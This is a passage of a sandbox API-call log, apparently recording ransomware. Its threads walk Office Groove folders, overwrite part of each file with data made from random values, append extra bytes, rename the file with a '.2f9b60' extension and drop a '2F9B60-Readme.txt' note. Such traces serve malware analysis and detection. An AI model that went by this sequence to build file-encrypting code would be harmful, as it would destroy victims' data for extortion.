lpNumberOfBytesWritten=0x2c5df8b0*=0xba9, lpOverlapped=0x0) returned 1 [0238.266] CloseHandle (hObject=0x2b38) returned 1 [0244.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c530) returned 1 [0244.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0244.003] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1 [0244.003] wcscmp (_String1="DiscussionToolIconImagesMask.bmp", _String2=".") returned 1 [0244.003] wcscmp (_String1="DiscussionToolIconImagesMask.bmp", _String2="..") returned 1 [0244.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799610 [0244.003] wcscpy (in: _Dest=0x1b799610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" [0244.003] wcscat (in: _Dest=0x1b799610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\" [0244.003] wcscat (in: _Dest=0x1b799610, _Source="DiscussionToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" [0244.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b799610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22bc [0244.272] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 0 [0244.273] FindClose (in: hFindFile=0x1cd9dd30 | out: hFindFile=0x1cd9dd30) returned 1 [0244.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21a10) returned 1 [0244.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43109a60) returned 1 [0244.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8630c0) returned 1 Thread: id = 3684 os_tid = 0xae0 [0218.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4312c220 [0218.322] wcscpy (in: _Dest=0x4312c220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" [0218.322] wcscat (in: _Dest=0x4312c220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\" [0218.322] wcscat (in: _Dest=0x4312c220, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*" [0218.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0218.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dcd0 [0219.919] wcscmp (_String1=".", _String2=".") returned 0 [0219.919] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.919] wcscmp (_String1="..", _String2=".") returned 1 [0219.919] wcscmp (_String1="..", _String2="..") returned 0 [0219.919] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0219.919] wcscmp (_String1="WSSFilesToolHomePageBackground.jpg", _String2=".") returned 1 [0219.919] wcscmp (_String1="WSSFilesToolHomePageBackground.jpg", _String2="..") returned 1 [0219.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78f280 [0219.920] wcscpy (in: _Dest=0x1b78f280, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" [0219.920] wcscat (in: _Dest=0x1b78f280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\" [0219.920] wcscat (in: _Dest=0x1b78f280, _Source="WSSFilesToolHomePageBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" [0219.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg")) returned 0x20 [0219.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg", dwFileAttributes=0x20) returned 1 [0220.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32b0 [0220.047] GetFileSizeEx (in: hFile=0x32b0, lpFileSize=0x2a8bfc60 | out: lpFileSize=0x2a8bfc60*=43793) returned 1 [0220.047] SetFilePointerEx (in: hFile=0x32b0, liDistanceToMove=0xab0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.047] ReadFile (in: hFile=0x32b0, lpBuffer=0x2a8bfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a8bfc28, lpOverlapped=0x0 | out: lpBuffer=0x2a8bfbe0*, lpNumberOfBytesRead=0x2a8bfc28*=0x4, lpOverlapped=0x0) returned 1 [0220.051] SetFilePointerEx (in: hFile=0x32b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acc0 [0220.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b530 [0220.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0220.053] NtQuerySystemTime (in: CurrentTime=0x2a8bfb20 | out: CurrentTime=0x2a8bfb20*=132462178240390000) returned 0x0 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x58516d78 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x629dde11 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x5d73598d [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x5997c45e [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x2ae3434c [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x5f7695f1 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x1b975793 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x7370eba2 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x295db132 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x5cedcb75 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x470e90bb [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x4731bacc [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x853365b [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x197d4c08 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x7abee35b [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x7fc9846b [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x34d8fb24 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x3354311b [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x3af3a586 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x593757c9 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x520ee891 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x7951cc80 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x61faa765 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0xf9d294 [0220.053] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x1076aee0 [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x10faf33c [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0xb37cd23 [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x7d7d03aa [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x22d6bdd8 [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x1c5d59f1 [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0x4fcd1279 [0220.054] RtlRandomEx (in: Seed=0x2a8bfb10 | out: Seed=0x2a8bfb10) returned 0xc8701dc [0220.063] SetFilePointerEx (in: hFile=0x32b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.063] ReadFile (in: hFile=0x32b0, lpBuffer=0x42404d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a8bfb80, lpOverlapped=0x0 | out: lpBuffer=0x42404d60*, lpNumberOfBytesRead=0x2a8bfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0220.064] SetFilePointerEx (in: hFile=0x32b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0220.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acc0 [0220.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acc0) returned 1 [0220.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423fd540 [0220.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acc0 [0220.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0220.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0220.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0220.121] WriteFile (in: hFile=0x32b0, lpBuffer=0x423fd540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a8bfb80, lpOverlapped=0x0 | out: lpBuffer=0x423fd540*, lpNumberOfBytesWritten=0x2a8bfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0234.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423fd540) returned 1 [0234.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42404d60) returned 1 [0234.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9da30 [0234.805] SetFilePointerEx (in: hFile=0x32b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.805] WriteFile (in: hFile=0x32b0, lpBuffer=0x188d50*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2a8bfc30, lpOverlapped=0x0 | out: lpBuffer=0x188d50*, lpNumberOfBytesWritten=0x2a8bfc30*=0x136, lpOverlapped=0x0) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188d50) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d1f0) returned 1 [0236.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5560) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9da30) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acc0) returned 1 [0236.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b530) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa20) returned 1 [0236.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431a9930 [0236.558] wcscpy (in: _Dest=0x431a9930, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" [0236.558] wcscat (in: _Dest=0x431a9930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.2f9b60" [0236.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.2f9b60", NtPathName=0x2a8bfc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c208e0 [0236.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c208e0) returned 1 [0236.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33ad0) returned 1 [0236.939] NtQueryInformationFile (in: FileHandle=0x32b0, IoStatusBlock=0x2a8bfcb8, FileInformation=0x2a8bfcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a8bfcb8, FileInformation=0x2a8bfcc8) returned 0x0 [0236.939] NtSetInformationFile (FileHandle=0x32b0, IoStatusBlock=0x2a8bfcb8, FileInformation=0x2a8bfcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a9930) returned 1 [0237.341] FlushFileBuffers (hFile=0x32b0) returned 1 [0238.227] CloseHandle (hObject=0x32b0) returned 1 [0241.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecfa20 [0241.628] wcscpy (in: _Dest=0x1cecfa20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\" [0241.628] wcscat (in: _Dest=0x1cecfa20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\2F9B60-Readme.txt" [0241.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\2f9b60-readme.txt")) returned 0xffffffff [0241.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1624 [0244.029] WriteFile (hFile=0x1624, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2a8bfb70, lpOverlapped=0x0) Thread: id = 3685 os_tid = 0x21d0 [0218.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x431002c0 [0218.325] wcscpy (in: _Dest=0x431002c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0218.325] wcscat (in: _Dest=0x431002c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0218.325] wcscat (in: _Dest=0x431002c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*" [0218.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0218.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431fa440 [0220.011] wcscmp (_String1=".", _String2=".") returned 0 [0220.011] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.011] wcscmp (_String1="..", _String2=".") returned 1 [0220.011] wcscmp (_String1="..", _String2="..") returned 0 [0220.011] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0220.011] wcscmp (_String1="ActiveTabImage.jpg", _String2=".") returned 1 [0220.011] wcscmp (_String1="ActiveTabImage.jpg", _String2="..") returned 1 [0220.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb62f0 [0220.012] wcscpy (in: _Dest=0x1ceb62f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.012] wcscat (in: _Dest=0x1ceb62f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.012] wcscat (in: _Dest=0x1ceb62f0, _Source="ActiveTabImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" [0220.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb62f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0220.013] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImageMask.bmp", cAlternateFileName="ACTIVE~1.BMP")) returned 1 [0220.013] wcscmp (_String1="ActiveTabImageMask.bmp", _String2=".") returned 1 [0220.013] wcscmp (_String1="ActiveTabImageMask.bmp", _String2="..") returned 1 [0220.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1ceb63e0 [0220.014] wcscpy (in: _Dest=0x1ceb63e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.014] wcscat (in: _Dest=0x1ceb63e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.014] wcscat (in: _Dest=0x1ceb63e0, _Source="ActiveTabImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp") returned="C:\\Program Files\\Microsoft 